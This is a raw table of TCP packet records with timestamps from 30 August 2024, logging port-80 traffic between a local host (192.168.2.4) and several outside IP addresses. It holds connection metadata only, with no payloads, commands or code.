Aug 30, 2024 03:17:07.054862022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054878950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054889917 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054920912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.054955959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.054986954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055002928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055018902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055030107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055031061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.055038929 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.055039883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055053949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055063963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.055063963 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.055094004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.066247940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066258907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066267967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066314936 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066324949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066327095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066334963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066344976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066354036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066375971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066387892 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066474915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066485882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066495895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066536903 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066565990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066576004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066586018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066591024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066607952 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066625118 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066653013 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066663027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066673994 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066683054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066693068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066698074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.066721916 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066734076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066745043 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066745996 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.066771984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066773891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.066782951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066797972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066803932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.066816092 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.066842079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.066907883 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066919088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066927910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066940069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066950083 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.066951036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066963911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066973925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.066975117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.066989899 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.067007065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.067013025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.067020893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.067054987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.067328930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067341089 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067351103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067377090 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067383051 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067385912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067397118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067409039 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067420006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067426920 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067449093 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067471981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067514896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067524910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067533970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067544937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067548990 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067555904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067567110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.067569017 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.067594051 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068291903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068301916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068315029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068348885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068370104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068382025 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068392038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068404913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068413973 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068427086 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068445921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068474054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068490028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068500996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068511963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068517923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068525076 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068531036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068536043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.068557978 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.068568945 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069257021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069267988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069278955 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069303989 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069317102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069325924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069335938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069345951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069358110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069360018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069381952 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069402933 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069420099 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069430113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069438934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069449902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069461107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069461107 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069482088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.069483042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069494963 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.069516897 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.070209980 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070220947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070235968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070254087 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.070260048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070270061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070276022 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.070280075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070291996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070300102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.070326090 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.070369005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070380926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070390940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070400953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.070413113 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.070424080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.071367979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071382046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071415901 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071425915 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071427107 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071436882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071449041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071454048 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071472883 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071491003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071497917 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071501970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071511984 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071525097 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071542978 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071551085 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071573019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071583033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071607113 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071609020 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071616888 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071625948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.071647882 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071665049 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.071672916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.075016975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.081712008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081758022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081768990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081787109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081799030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.081824064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.081857920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081867933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081877947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081887960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081897974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.081908941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.081944942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081955910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081964970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081981897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.081986904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.081991911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.081999063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082010031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082016945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082040071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082052946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082062960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082086086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082087994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082097054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082107067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082109928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082132101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082154989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082164049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082184076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082195997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082197905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082206011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082212925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082228899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082240105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082250118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082250118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082263947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082273960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082276106 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082298994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082309961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082319975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082341909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082349062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082360029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082385063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082400084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082428932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082438946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082448006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082463980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082463980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082480907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082495928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082500935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082508087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082516909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082531929 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082544088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082562923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082581043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082643986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082654953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082678080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082678080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082688093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082698107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082700968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082710028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082724094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082746029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082849979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082859993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082869053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082880020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082886934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082890034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082901001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082901955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082911015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.082925081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.082948923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083014965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083025932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083035946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083054066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083069086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083086014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083096027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083106041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083117962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083120108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083142042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083158970 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083178043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083189011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083199024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083210945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083213091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083220959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083226919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083230972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083241940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083267927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083343029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083353996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083364010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083376884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083400965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083410025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083420038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083430052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083440065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083450079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083462954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083484888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083487034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083496094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083524942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083614111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083623886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083632946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083643913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083653927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083656073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083663940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083664894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083674908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083689928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083714962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083786964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083797932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083807945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083818913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083821058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083828926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.083847046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.083870888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084009886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084022999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084032059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084053040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084065914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084106922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084117889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084127903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084141016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084152937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084170103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.084316969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084326982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084340096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.084352970 CEST	49733	80	192.168.2.4	147.45.44.104
